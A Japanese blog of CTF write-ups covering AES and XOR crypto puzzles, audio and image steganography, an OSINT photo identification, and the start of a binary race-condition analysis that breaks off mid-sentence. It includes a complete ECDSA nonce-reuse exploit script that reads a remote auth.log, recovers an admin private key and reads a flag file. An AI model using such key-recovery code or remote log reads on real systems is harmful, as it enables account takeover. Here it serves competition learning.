Blue Tone Reproduction Curve    : (Binary data 40 bytes, use -b option to extract)
Profile Copyright               : Google Inc. 2016
Subject                         : lojmIt yIpoSmoH!
Warning                         : [Minor] Ignored duplicate Info dictionary

Subjectに意味がありそうな以下の文字列が設定されている。

lojmIt yIpoSmoH!

PDFの黒塗りされている部分をコピペすると、以下のようになっている。

B7o731QSZYJtbxIHjz045jhZoAhjG/MHqir4PZANSCWd75Jp/KGdAevRj2JOBEN3eMEW9Sto9ek0bGum9jXYPHiQ/3xQM8ZTrrB6a2OZJNAYCgFizrrNO4enzaXB2ZAGdN+fBKQPPe530ZxrXlWBTV2QCyqJH8BmHGXKMU3XASpqaWeTXZzvhx1FJOkhV2pw2bifmMo0Pk4i3XznS1UYsQ==

base64文字列をデコードしてみる。

>>> from base64 import *
>>> s = "B7o731QSZYJtbxIHjz045jhZoAhjG/MHqir4PZANSCWd75Jp/KGdAevRj2JOBEN3eMEW9Sto9ek0bGum9jXYPHiQ/3xQM8ZTrrB6a2OZJNAYCg\FizrrNO4enzaXB2ZAGdN+fBKQPPe530ZxrXlWBTV2QCyqJH8BmHGXKMU3XASpqaWeTXZzvhx1FJOkhV2pw2bifmMo0Pk4i3XznS1UYsQ=="
>>> b64decode(s)
b'\x07\xba;\xdfT\x12e\x82mo\x12\x07\x8f=8\xe68Y\xa0\x08c\x1b\xf3\x07\xaa*\xf8=\x90\rH%\x9d\xef\x92i\xfc\xa1\x9d\x01\xeb\xd1\x8fbN\x04Cwx\xc1\x16\xf5+h\xf5\xe94lk\xa6\xf65\xd8<x\x90\xff|P3\xc6S\xae\xb0zkc\x99$\xd0\x18\n\x01b\xce\xba\xcd;\x87\xa7\xcd\xa5\xc1\xd9\x90\x06t\xdf\x9f\x04\xa4\x0f=\xeew\xd1\x9ck^U\x81M]\x90\x0b*\x89\x1f\xc0f\x1ce\xca1M\xd7\x01*jig\x93]\x9c\xef\x87\x1dE$\xe9!Wjp\xd9\xb8\x9f\x98\xca4>N"\xdd|\xe7KU\x18\xb1'

特に意味があるデータにはならない。

>>> ct = b64decode(s)
>>> len(ct)
160

先ほどの文字列の長さが16で、このデータも160バイトで16の倍数になっている。AES ECBモード暗号の暗号データと推測し、復号する。

>>> from Crypto.Cipher import AES
>>> from Crypto.Util.Padding import unpad
>>> key = b"lojmIt yIpoSmoH!"
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> unpad(cipher.decrypt(ct), 16)
b"nuqneH\nDaHjaj tlhIngan yotlh botlhDaq DIvI' Duj wItu'. Heghlaw' 'ej lonlu'law'. Duj wIHuD 'ej Hov leng peghmey wItu'laH 'e' wItlhoblI'. \n\nspooky{qaStaH_nuq}\n"
spooky{qaStaH_nuq}

Cyberphobia: SpOoKy KeYsTrEaMs (crypto)

コードはAES CTRモードで固定のnonce、IVも同じで暗号化する処理になっている。このため、平文と暗号文のXORは常に同じになる。
あるメッセージの平文と暗号文、フラグの暗号文がわかっているので、XORで復号できる。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

pt = '546865206861756e746564207661756c7420636c6f736573206174206d69646e696768742e2053746179206f7574736964652e20202020202020202020202020'
ct = 'e4a8bb39921d6f0e3940a040ae22a1afc698fdeb3058ea8e1002fe25142227c6f7f018ddf3eb9ce75e69dbdc59720fcffd98a9c0bb9f03f0d644f34c68a4c306'
enc_flag = 'c3b0b176910561033e16f151920887be9298bea77f0bafdd1043aa25596b6388beb75089fdebefb31f30db930c265c86b9dda7c0bb9f03f0d644f34c68a4c306'

pt = bytes.fromhex(pt)
ct = bytes.fromhex(ct)
enc_flag = bytes.fromhex(enc_flag)

flag = strxor(strxor(pt, ct), enc_flag).decode()
print(flag)
spooky{cs351JKS}

I D0n't Feel S0 G00d (crypto)

84 53 16 8 28 16 11 6 7 を元素記号と推測し、変換していく。

PoISONiSNaCN

英文にするとこうなる。

POISON IS NaCN

NaCNはシアン化ナトリウム。chemicals.txtで該当する行を探すと、以下が該当する。

Sodium Cyanide

これは52行目である。
antidotes.txtの52行目を見てみると、こう書いてある。

z0150x_15_l46_p0b_i0e

ここで問題文の「Don't forget to move the neon!」に注目する。Neonの原子番号は10であるため、シーザー暗号のシフト10をすることを言っていると推測できる。
https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでRotate # placesを10にすると、復号結果は以下の通りとなる。

p0150n_15_b46_f0r_y0u
spooky{p0150n_15_b46_f0r_y0u}

No Nonsense on this Server (crypto)

ECDSA署名のNonce(署名時に使う一時的な値)の再利用を悪用し、adminの秘密鍵を復元する問題。

次の流れで攻撃する。

  1. general でログインする。
  2. /var/log/auth.log を取得する。
  3. admin の署名で同じ r が使われていないか調べる。
  4. Nonceが再利用されていれば、署名からadminの秘密鍵を計算する。
  5. 復元した秘密鍵でadminとして認証し、/home/admin/flag.txt を読む。

コードはChatGPTに作ってもらった。

#!/usr/bin/env python3
"""SP00KY challenge: fetch audit log, exploit ECDSA nonce reuse, authenticate as admin.

Usage:
  python3 spooky_solve.py --host HOST --key general.pem
  python3 spooky_solve.py --log auth.log --key general.pem

Requires: pip install cryptography
"""
import argparse
import ast
import base64
from collections import defaultdict
import csv
import hashlib
import json
import re
import socket
import struct
import sys
from pathlib import Path

from cryptography.exceptions import InvalidSignature
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec, utils

N = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
OP_HELLO = 1
OP_AUTH_START = 2
OP_AUTH_CHALLENGE = 3
OP_AUTH_PROVE = 4
OP_AUTH_RESULT = 5
OP_EXEC = 6
OP_EXEC_RESULT = 7
OP_ERROR = 8
OP_LOGOUT = 9


class Spooky:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port), timeout=12)
        self.sock.settimeout(12)

    def close(self):
        self.sock.close()

    def send(self, op, payload=b''):
        if len(payload) > 1024:
            raise ValueError('payload exceeds 1024 bytes')
        self.sock.sendall(bytes([1, op]) + struct.pack('>H', len(payload)) + payload)

    def recv_exact(self, n):
        out = bytearray()
        while len(out) < n:
            chunk = self.sock.recv(n - len(out))
            if not chunk:
                raise EOFError('connection closed')
            out.extend(chunk)
        return bytes(out)

    def recv(self):
        version, op, length = struct.unpack('>BBH', self.recv_exact(4))
        if version != 1 or length > 1024:
            raise ValueError('invalid frame')
        data = self.recv_exact(length)
        if op == OP_ERROR:
            raise RuntimeError('server error: ' + repr(data))
        return op, data

    def login(self, username, private_key):
        self.send(OP_HELLO)
        op, banner = self.recv()
        if op != OP_HELLO:
            raise RuntimeError('HELLO failed')
        print('server:', banner.decode(errors='replace'))
        uname = username.encode('ascii')
        if not (1 <= len(uname) <= 32):
            raise ValueError('invalid username')
        self.send(OP_AUTH_START, bytes([len(uname)]) + uname)
        op, nonce = self.recv()
        if op != OP_AUTH_CHALLENGE or len(nonce) != 32:
            raise RuntimeError('missing challenge')
        message = b'SP00KY-AUTH-v1' + bytes([len(uname)]) + uname + nonce
        der = private_key.sign(message, ec.ECDSA(hashes.SHA256()))
        r, s = utils.decode_dss_signature(der)
        self.send(OP_AUTH_PROVE, r.to_bytes(32, 'big') + s.to_bytes(32, 'big'))
        op, result = self.recv()
        if op != OP_AUTH_RESULT or result != b'\x01':
            raise RuntimeError(f'authentication failed: {op=} {result.hex()=}')
        print('authenticated as', username)

    def exec(self, command):
        b = command.encode('utf-8')
        if len(b) > 256:
            raise ValueError('command too long')
        self.send(OP_EXEC, b)
        output = bytearray()
        while True:
            op, data = self.recv()
            if op != OP_EXEC_RESULT or not data:
                raise RuntimeError(f'unexpected response: {op=}')
            status = data[0]
            output.extend(data[1:])
            if status != 3:
                return status, bytes(output)


FIELDS = re.compile(r'''\b([A-Za-z][\w-]*)\s*[:=]\s*("(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|[^\s,;]+)''')


def get_fields(line):
    line = line.strip()
    if line.startswith('{'):
        try:
            obj = json.loads(line)
            if isinstance(obj, dict):
                return {str(k).lower(): v for k, v in obj.items()}
        except json.JSONDecodeError:
            pass
    kv = {}
    for m in FIELDS.finditer(line):
        key, val = m.group(1).lower(), m.group(2)
        if val.startswith(('"', "'")):
            try:
                val = ast.literal_eval(val)
            except (SyntaxError, ValueError):
                val = val[1:-1]
        kv[key] = val
    # Support event descriptions with unquoted spaces when they precede r/s.
    if 'event' not in kv:
        match = re.search(r'\bevent\s*[:=]\s*(.*?)\s+(?=(?:r|s)\s*[:=])', line)
        if match:
            kv['event'] = match.group(1).strip()
    return kv


def first(d, *keys):
    for k in keys:
        if k in d:
            return d[k]
    return None


def parse_integer(value):
    if isinstance(value, int):
        return value
    s = str(value).strip().replace('_', '')
    if s.lower().startswith('0x'):
        return int(s, 16)
    if re.fullmatch(r'[0-9a-fA-F]+', s):
        if re.search(r'[a-fA-F]', s) or len(s) == 64:
            return int(s, 16)
        return int(s, 10)
    raise ValueError('not a recognized integer: ' + s)


def parse_record(line):
    d = get_fields(line)
    user = first(d, 'user', 'username', 'account', 'actor')
    timestamp = first(d, 'timestamp_ms', 'ts_ms', 'time_ms', 'timestamp', 'ts', 'time')
    r_text = first(d, 'r', 'sig_r', 'signature_r')
    s_text = first(d, 's', 'sig_s', 'signature_s')
    event = first(d, 'event_hex', 'event_b64', 'event', 'action', 'message', 'detail')
    if None in (user, timestamp, r_text, s_text) or event is None:
        return None
    try:
        # SP00KY auth.log encodes ECDSA r/s as hexadecimal, even if all characters are digits.
        r = int(str(r_text).strip().removeprefix('0x'), 16)
        s = int(str(s_text).strip().removeprefix('0x'), 16)
        t = int(str(timestamp), 0) if isinstance(timestamp, str) and str(timestamp).startswith('0x') else int(timestamp)
        user_b = str(user).encode('ascii')
        if 'event_hex' in d:
            event_b = bytes.fromhex(str(d['event_hex']))
        elif 'event_b64' in d:
            event_b = base64.b64decode(d['event_b64'])
        elif isinstance(event, bytes):
            event_b = event
        else:
            event_b = str(event).encode('utf-8')
        if not (0 < r < N and 0 < s < N and 0 <= t < (1 << 64) and 1 <= len(user_b) <= 255):
            return None
        if len(event_b) > 65535:
            return None
        message = (b'SP00KY-LOG-v1' + struct.pack('>Q', t) + bytes([len(user_b)])
                   + user_b + struct.pack('>H', len(event_b)) + event_b)
        return {'user': str(user), 'r': r, 's': s, 'z': int.from_bytes(hashlib.sha256(message).digest(), 'big'),
                'message': message, 'line': line}
    except (ValueError, TypeError, UnicodeEncodeError, OverflowError):
        return None


def parse_log(log):
    results = [rec for line in log.splitlines() if (rec := parse_record(line)) is not None]
    # Some challenge logs may use a CSV table, rather than key=value lines.
    if not results:
        try:
            rows = csv.DictReader(log.splitlines())
            for row in rows:
                line = json.dumps(row)
                rec = parse_record(line)
                if rec:
                    results.append(rec)
        except csv.Error:
            pass
    return results


def verify(d, record):
    private = ec.derive_private_key(d, ec.SECP256R1())
    signature = utils.encode_dss_signature(record['r'], record['s'])
    try:
        private.public_key().verify(signature, record['message'], ec.ECDSA(hashes.SHA256()))
        return True
    except InvalidSignature:
        return False


def recover(records, username='admin'):
    user_records = [r for r in records if r['user'] == username]
    groups = defaultdict(list)
    for rec in user_records:
        groups[rec['r']].append(rec)
    duplicate_groups = [group for group in groups.values() if len(group) >= 2]
    print(f'parsed signatures: {len(records)}; {username} signatures: {len(user_records)}; repeated r values: {len(duplicate_groups)}')
    for group in duplicate_groups:
        for i, one in enumerate(group):
            for two in group[i + 1:]:
                if one['z'] == two['z']:
                    continue
                r, s1, s2, z1, z2 = one['r'], one['s'], two['s'], one['z'], two['z']
                for sign1 in (1, -1):
                    for sign2 in (1, -1):
                        ss1, ss2 = sign1 * s1 % N, sign2 * s2 % N
                        denom = (ss1 - ss2) % N
                        if denom == 0:
                            continue
                        k = ((z1 - z2) * pow(denom, -1, N)) % N
                        d = ((ss1 * k - z1) * pow(r, -1, N)) % N
                        if d == 0:
                            continue
                        if verify(d, one) and verify(d, two):
                            score = sum(verify(d, entry) for entry in user_records)
                            print(f'VALID PRIVATE KEY: {score}/{len(user_records)} admin signatures verify')
                            return d
    return None


def main():
    p = argparse.ArgumentParser(description=__doc__)
    p.add_argument('--host', help='CTF service hostname (not included in challenge text)')
    p.add_argument('--port', type=int, default=19160)
    p.add_argument('--key', default='general.pem', help='path to supplied general.pem')
    p.add_argument('--log', help='use already downloaded auth.log instead of fetching')
    p.add_argument('--user', default='admin', help='account to recover')
    p.add_argument('--out-key', default='admin.pem', help='save recovered private key here')
    args = p.parse_args()
    if not args.host and not args.log:
        p.error('specify --host HOST, or --log auth.log')
    if args.log:
        log = Path(args.log).read_text(encoding='utf-8', errors='replace')
    else:
        with open(args.key, 'rb') as f:
            key = serialization.load_pem_private_key(f.read(), password=None)
        sess = Spooky(args.host, args.port)
        try:
            sess.login('general', key)
            status, raw = sess.exec('cat /var/log/auth.log')
            log = raw.decode('utf-8', errors='replace')
            if status != 0:
                raise RuntimeError(f'cannot read auth.log: status={status}\n{log}')
            Path('auth.log').write_text(log, encoding='utf-8')
            print(f'saved auth.log ({len(raw)} bytes)')
        finally:
            sess.close()
    records = parse_log(log)
    if not records:
        print('Could not parse signed log records; inspect auth.log format and adjust parse_record().')
        print('First log lines:')
        print('\n'.join(log.splitlines()[:8]))
        sys.exit(2)
    d = recover(records, args.user)
    if d is None:
        print('No verifiable key found. Check duplicate r values and correct event/timestamp reconstruction.')
        sys.exit(3)
    admin_key = ec.derive_private_key(d, ec.SECP256R1())
    pem = admin_key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL,
                                  serialization.NoEncryption())
    Path(args.out_key).write_bytes(pem)
    try:
        Path(args.out_key).chmod(0o600)
    except OSError:
        pass
    print(f'saved {args.out_key}')
    if args.host:
        sess = Spooky(args.host, args.port)
        try:
            sess.login(args.user, admin_key)
            status, flag = sess.exec('cat /home/admin/flag.txt')
            print('flag command status:', status)
            print(flag.decode('utf-8', errors='replace'))
        finally:
            sess.close()
    else:
        print('To retrieve flag, run:')
        print(f'./spooky-client --host HOST --port {args.port} --user {args.user} --key {args.out_key}')
        print('Then execute: cat /home/admin/flag.txt')


if __name__ == '__main__':
    main()
$ python3 solve.py --host 18.222.247.20 --port 19160 --key general.pem --log auth.log
parsed signatures: 246; admin signatures: 76; repeated r values: 1
VALID PRIVATE KEY: 76/76 admin signatures verify
saved admin.pem
server: SP00KY/1 - Remote Access Service
authenticated as admin
flag command status: 0
spooky{reused_k_no_nons3nse_89f3ae32316e}
spooky{reused_k_no_nons3nse_89f3ae32316e}

HI Cyber Con 2026 CTF Writeup

この大会は2026/10/30 23:00(JST)~2026/11/1 23:00(JST)に開催されました。
今回もチームで参戦。結果は985点で1119チーム中436位でした。
自分で解けた問題をWriteupとして書いておきます。

Forgotten Secrets (Miscellaneous)

$ strings forgotten_secrets.bin                          
YbSyr
cPd6(Q
c%%"E
q)r_
JJ7t
M7hJSM
        :
&qq2?CAFEBABEDEADBEEF*+
9/q/r0;
&7/2
&qq2?CAFEBABE
U`U~ 
(_MG#
V+vX
3I%e
R2zh
w3_N
qz;d
QInDEADBEEF*+
9/q/r0;
&7/2
&qq2?CAFEBABE
        :

"DEADBEEF"と"CAFEBABE"という文字列がところどころに見える。
この部分をバイナリエディタで見てみる。この間に挟まれているデータは毎回同じになっているようだ。
このデータを取り出すと、以下のようになっている。

2A 2B 01 16 04 39 2F 71 2F 72 30 3B 1D 26 37 2F 32 1D 26 73 25 1D 26 71 71 32 3F

CyberChefで以下の順で復号する。

  • From Hex
  • XOR Brute Force

この結果 Key = 42 のときにフラグ形式で復号されていた。

hiCTF{m3m0ry_dump_d1g_d33p}

Dead Air (Miscellaneous)

Audacityで開き、スペクトログラムを見る。その際、周波数を調整する。
すると片方はモールス信号。もう片方は文字が浮かび上がった。

モールス信号はこのようになっている。

-.- . ... - .-. . .-..  ... - .- - .. --- -.  --- ..-. ..-.  .- .. .-.  -.- . -.--  .. ...  -. .. --. .... - .--- .- .-.  .-.. .. ... - . -.  .-- .. - ....  -.-- --- ..- .-.  . -.-- . ...

デコードすると、以下のようになる。

KESTREL STATION OFF AIR KEY IS NIGHTJAR LISTEN WITH YOUR EYES

文字は以下のように書いてある。

KSTR-7742-VXQ

7zファイルはこの文字の方をパスワードとしたときに解凍でき、以下のファイルが展開された。

  • logbook_page.png
  • operator_codepad.png



両方とも図形が複数並んでいる。

operator_codepad.pngの図形と文字の対応表を見ながら、logbook_page.pngの図形を文字に置換していく。

59R_6L3Q9BYGBQ3QZAYZMP3QIZ92

Vigenere暗号と推測し、"NIGHTJAR"を鍵として復号する。

#!/usr/bin/env python3
def decrypt(table, key, ct):
    pt = ''
    for i in range(len(ct)):
        k = key[i % len(key)]
        c = ct[i]
        idx = (table.index(c) - table.index(k)) % len(table)
        pt += table[idx]
    return pt

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

key = 'NIGHTJAR'
ct = '59R_6L3Q9BYGBQ3QZAYZMP3QIZ92'
pt = decrypt(table, key, ct)
print(pt)

復号結果は以下の通り。

S1L3NC3_W4S_TH3_M3SS4G3_6R3V

フラグとして以下をSubmitしたが、通らなかった。

hiCTF{S1L3NC3_W4S_TH3_M3SS4G3_6R3V}

小文字にしてSubmitしたら、通った。

hiCTF{s1l3nc3_w4s_th3_m3ss4g3_6r3v}

Shadow Identity (OSINT)


問題文は以下の通り。

During an intelligence operation, our team recovered a single photograph from a suspect's device. 
We believe this individual holds a key piece of information. 
Your mission: identify the person in the photograph.

Submit the person's full name as the flag. All characters of the flag is in lowercase.

Flag Format: hiCTF{rahim_ahmed_meow}

画像検索すると、以下のページが見つかる。
https://www.facebook.com/61560359374291/posts/breaking-news-miss-grand-tanzania-2026-is-the-beautiful-jihan-dimack-she-will-no/122223038780345312/

名前は以下であることがわかる。

Jihan Dimack

「Jihan Dimack」で検索すると、以下のページが見つかる。
https://id.wikipedia.org/wiki/Jihan_Dimack

ここでフルネームを見ると以下であることがわかる。

Jihan Mohin Dimack
hiCTF{jihan_mohin_dimack}

Apex Engine (Binary Exploitation)

Ghidraでデコンパイルする。

void FUN_001012c0(void)

{
  int iVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  FILE *__s;
  long lVar5;
  int *piVar6;
  ulong uVar7;
  long lVar8;
  char *pcVar9;
  undefined8 *puVar10;
  long in_FS_OFFSET;
  byte bVar11;
  char local_88 [72];
  undefined8 local_40;
  
  bVar11 = 0;
  local_40 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  signal(0xe,FUN_00101d60);
  alarm(0x3c);
  DAT_001043e0 = 100;
  puVar10 = &DAT_00104320;
  for (lVar8 = 0x18; lVar8 != 0; lVar8 = lVar8 + -1) {
    *puVar10 = 0;
    puVar10 = puVar10 + (ulong)bVar11 * -2 + 1;
  }
  DAT_001043e8 = 0;
  puVar10 = &DAT_00104060;
  for (lVar8 = 0x58; lVar8 != 0; lVar8 = lVar8 + -1) {
    *puVar10 = 0;
    puVar10 = puVar10 + (ulong)bVar11 * -2 + 1;
  }
  _DAT_001043f0 = 0;
  __s = fopen("/tmp/preview.txt","w");
  if ((__s != (FILE *)0x0) || (__s = fopen("./preview.txt","w"), __s != (FILE *)0x0)) {
    fwrite("[Preview Record] Welcome to Apex Vault Storage.\nNotice: /flag is strictly restricted to  Root Administrator clearance.\n"
           ,1,0x76,__s);
    fclose(__s);
  }
  puts("====================================================");
  puts("   Apex Multi-Threaded Settlement Engine (v3.2)     ");
  puts("   High-Frequency Asset Custody & Settlement Vault  ");
  puts("====================================================");
LAB_00101400:
  do {
    puts("\nMain Menu:");
    puts("1. View Account & Holdings");
    puts("2. Initiate Escrow Transfer");
    puts("3. Withdraw from Escrow Vault");
    puts("4. Upgrade Account Tier (VIP: 10,000 credits)");
    puts("5. Access Secure Vault Enclave");
    puts("6. Exit");
    __printf_chk(1,&DAT_0010210c,"Select Option: ");
    fflush(stdout);
    FUN_00101d00(local_88);
    lVar5 = strtol(local_88,(char **)0x0,10);
    lVar8 = DAT_001043e8;
    switch(lVar5) {
    default:
      puts("[-] Invalid option.");
      break;
    case 1:
      piVar6 = (int *)((long)&DAT_00104320 + 4);
      puts("\n=== [APEX SETTLEMENT ENGINE - ACCOUNT STATUS] ===");
      __printf_chk(1,"Cash Balance  : %llu credits\n",DAT_001043e0);
      __printf_chk(1,"Escrow Vault  : %llu credits\n",DAT_001043e8);
      pcVar9 = "VIP TIER (Enclave Access Granted)";
      if (DAT_001043f0 == 0) {
        pcVar9 = "STANDARD TIER (Basic)";
      }
      iVar4 = 0;
      iVar2 = 0;
      __printf_chk(1,"Account Tier  : %s\n",pcVar9);
      puts("--------------------------------------------------");
      puts("Active Orders:");
      do {
        iVar1 = *piVar6;
        if (iVar1 != 0) {
          pcVar9 = "PENDING";
          if ((((iVar1 != 1) && (pcVar9 = "PROCESSING", iVar1 != 2)) &&
              (pcVar9 = "COMPLETED", iVar1 != 3)) && (pcVar9 = "UNKNOWN", iVar1 == 4)) {
            pcVar9 = "CANCELLED";
          }
          iVar4 = iVar4 + 1;
          __printf_chk(1,"  Slot #%d: %llu credits [%s]\n",iVar2,*(undefined8 *)(piVar6 + 1),pcVar9)
          ;
        }
        iVar2 = iVar2 + 1;
        piVar6 = piVar6 + 6;
      } while (iVar2 != 8);
      if (iVar4 == 0) {
        puts("  (No active orders)");
      }
      puts("==================================================\n");
      break;
    case 2:
      piVar6 = (int *)((long)&DAT_00104320 + 4);
      iVar2 = 0;
      do {
        if ((*piVar6 - 3U < 2) || (*piVar6 == 0)) {
          __printf_chk(1,&DAT_0010210c,"Transfer Amount: ");
          fflush(stdout);
          FUN_00101d00(local_88);
          uVar7 = strtol(local_88,(char **)0x0,10);
          if ((long)uVar7 < 1) {
            puts("[-] Invalid transfer amount.");
          }
          else if (DAT_001043e0 < uVar7) {
            __printf_chk(1,"[-] Insufficient balance. Current balance: %llu\n");
          }
          else {
            lVar8 = (long)iVar2;
            lVar5 = lVar8 * 0x18;
            *(int *)(&DAT_00104320 + lVar8 * 3) = iVar2;
            (&DAT_00104328)[lVar8 * 3] = uVar7;
            *(undefined4 *)((long)&DAT_00104320 + lVar5 + 4) = 1;
            iVar4 = pthread_create((pthread_t *)(&DAT_00104330 + lVar5),(pthread_attr_t *)0x0,
                                   FUN_00101ef0,&DAT_00104320 + lVar8 * 3);
            if (iVar4 == 0) {
              pthread_detach(*(pthread_t *)(&DAT_00104330 + lVar5));
              __printf_chk(1,"[+] Order #%d submitted for async settlement.\n",iVar2);
            }
            else {
              puts("[-] Failed to dispatch settlement worker.");
              *(undefined4 *)((long)&DAT_00104320 + lVar5 + 4) = 0;
            }
          }
          goto LAB_00101400;
        }
        iVar2 = iVar2 + 1;
        piVar6 = piVar6 + 6;
      } while (iVar2 != 8);
      puts("[-] Maximum concurrent orders reached. Wait for settlement.");
      break;
    case 3:
      if (DAT_001043e8 == 0) {
        puts("[-] Escrow vault is currently empty.");
      }
      else {
        DAT_001043e8 = 0;
        DAT_001043e0 = DAT_001043e0 + lVar8;
        __printf_chk(1,"[+] Released %llu credits from escrow vault to main balance! Total: %llu\n")
        ;
      }
      break;
    case 4:
      if (DAT_001043f0 == 0) {
        if (DAT_001043e0 < 10000) {
          __printf_chk(1,"[-] VIP Tier requires at least 10,000 credits. (Current: %llu credits)\n")
          ;
        }
        else {
          DAT_001043e0 = DAT_001043e0 - 10000;
          _DAT_001043f0 = CONCAT44(DAT_001043f4,1);
          puts("[+] Congratulations! Your account has been upgraded to VIP Tier.");
          puts("[+] Secure Vault Enclave storage is now accessible.");
        }
      }
      else {
        puts("[*] Your account is already upgraded to VIP Tier.");
      }
      break;
    case 5:
      if (DAT_001043f0 == 0) {
        puts("[-] Access Denied: Secure Vault Enclave requires VIP Tier clearance.");
      }
      else {
LAB_001014f8:
        while( true ) {
          while( true ) {
            while( true ) {
              puts("\n--- [SECURE VAULT ENCLAVE] ---");
              puts("1. Create Document Slot");
              puts("2. Stream Document via Enclave");
              puts("3. Edit Document Target Path");
              puts("4. Return to Main Menu");
              __printf_chk(1,&DAT_0010210c,"Vault Choice: ");
              fflush(stdout);
              FUN_00101d00(local_88);
              lVar8 = strtol(local_88,(char **)0x0,10);
              if (lVar8 != 1) break;
              __printf_chk(1,&DAT_0010210c,"Select Slot (0-3): ");
              fflush(stdout);
              FUN_00101d00(local_88);
              uVar7 = strtol(local_88,(char **)0x0,10);
              uVar3 = (uint)uVar7;
              if (uVar3 < 4) {
                lVar8 = (long)(int)uVar3 * 0xb0;
                *(undefined4 *)(&DAT_00104060 + (long)(int)uVar3 * 0x16) = 1;
                *(undefined8 *)((long)&DAT_00104060 + lVar8 + 4) = 0x746e656d75636f44;
                *(undefined8 *)((long)&DAT_00104068 + lVar8 + 4) = 0x776569766572505f;
                *(undefined2 *)(&DAT_00104080 + lVar8) = 0;
                *(undefined8 *)(&DAT_00104074 + lVar8) = 0;
                *(undefined4 *)(&DAT_0010407c + lVar8) = 0;
                (&DAT_00104082)[lVar8] = 0;
                *(undefined2 *)(&DAT_00104100 + lVar8) = 0;
                *(undefined8 *)(&DAT_001040f4 + lVar8) = 0;
                *(undefined4 *)(&DAT_001040fc + lVar8) = 0;
                (&DAT_00104102)[lVar8] = 0;
                *(undefined8 *)(&DAT_00104084 + lVar8) = 0x6572702f706d742f;
                *(undefined8 *)(lVar8 + 0x10408c) = 0x7478742e77656976;
                *(undefined1 (*) [16])(&DAT_00104094 + lVar8) = (undefined1  [16])0x0;
                *(undefined1 (*) [16])(&DAT_001040a4 + lVar8) = (undefined1  [16])0x0;
                *(undefined1 (*) [16])(&DAT_001040b4 + lVar8) = (undefined1  [16])0x0;
                *(undefined1 (*) [16])(&DAT_001040c4 + lVar8) = (undefined1  [16])0x0;
                *(undefined1 (*) [16])(&DAT_001040d4 + lVar8) = (undefined1  [16])0x0;
                *(undefined1 (*) [16])(&DAT_001040e4 + lVar8) = (undefined1  [16])0x0;
                __printf_chk(1,"[+] Initialized Slot #%d with default target \'%s\'\n",
                             uVar7 & 0xffffffff);
              }
              else {
                puts("[-] Invalid slot.");
              }
            }
            if (lVar8 != 2) break;
            __printf_chk(1,&DAT_0010210c,"Select Slot to Stream (0-3): ");
            fflush(stdout);
            FUN_00101d00(local_88);
            uVar7 = strtol(local_88,(char **)0x0,10);
            if (3 < (uint)uVar7) goto LAB_00101980;
            lVar8 = (long)(int)(uint)uVar7;
            if (*(int *)(&DAT_00104060 + lVar8 * 0x16) == 0) goto LAB_00101980;
            iVar2 = pthread_create((pthread_t *)(&DAT_00104108 + lVar8 * 0xb0),(pthread_attr_t *)0x0
                                   ,FUN_00101d80,&DAT_00104060 + lVar8 * 0x16);
            if (iVar2 == 0) {
              pthread_detach(*(pthread_t *)(&DAT_00104108 + lVar8 * 0xb0));
              __printf_chk(1,"[+] Enclave streaming dispatched for Slot #%d...\n",uVar7 & 0xffffffff
                          );
            }
            else {
              puts("[-] Failed to dispatch enclave streaming thread.");
            }
          }
          if (lVar8 != 3) break;
          __printf_chk(1,&DAT_0010210c,"Select Slot to Edit (0-3): ");
          fflush(stdout);
          FUN_00101d00(local_88);
          uVar7 = strtol(local_88,(char **)0x0,10);
          uVar3 = (uint)uVar7;
          if ((uVar3 < 4) && (*(int *)(&DAT_00104060 + (long)(int)uVar3 * 0x16) != 0)) {
            __printf_chk(1,"Enter new filepath: ");
            FUN_00101d00(&DAT_00104084 + (long)(int)uVar3 * 0xb0,0x80);
            __printf_chk(1,"[+] Slot #%d target updated to \'%s\'\n",uVar7 & 0xffffffff,
                         &DAT_00104084 + (long)(int)uVar3 * 0xb0);
          }
          else {
LAB_00101980:
            puts("[-] Slot is empty or uninitialized.");
          }
        }
        if (lVar8 != 4) {
          puts("[-] Unknown choice.");
          goto LAB_001014f8;
        }
      }
      break;
    case 6:
      puts("[+] Goodbye.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  } while( true );
}

undefined8 FUN_00101d80(long param_1)

{
  char *__haystack;
  int iVar1;
  char *pcVar2;
  FILE *__stream;
  size_t __n;
  long lVar3;
  undefined8 *puVar4;
  long in_FS_OFFSET;
  byte bVar5;
  undefined8 auStack_228 [65];
  long local_20;
  
  bVar5 = 0;
  __haystack = (char *)(param_1 + 0x24);
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar2 = strstr(__haystack,"flag");
  if ((pcVar2 == (char *)0x0) || (DAT_001043f4 != 0)) {
    usleep(25000);
    __stream = fopen(__haystack,"r");
    if ((__stream == (FILE *)0x0) &&
       ((iVar1 = strcmp(__haystack,"/flag"), iVar1 != 0 ||
        (__stream = fopen("./flag.txt","r"), __stream == (FILE *)0x0)))) {
      __printf_chk(1,"\n[-] Document read failed: Unable to open \'%s\'\n",__haystack);
    }
    else {
      puVar4 = auStack_228;
      for (lVar3 = 0x40; lVar3 != 0; lVar3 = lVar3 + -1) {
        *puVar4 = 0;
        puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
      }
      __n = fread(auStack_228,1,0x1ff,__stream);
      fclose(__stream);
      puts("\n================ [SECURE ENCLAVE DATA STREAM] ================");
      fwrite(auStack_228,1,__n,stdout);
      puts("\n==============================================================");
    }
  }
  else {
    __printf_chk(1,"\n[-] SECURITY ALERT: Access to \'%s\' denied! Root Admin clearance required.\n"
                 ,__haystack);
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

以下のような処理になっている。

  • パス名に "flag" という文字列が含まれているかを先にチェック
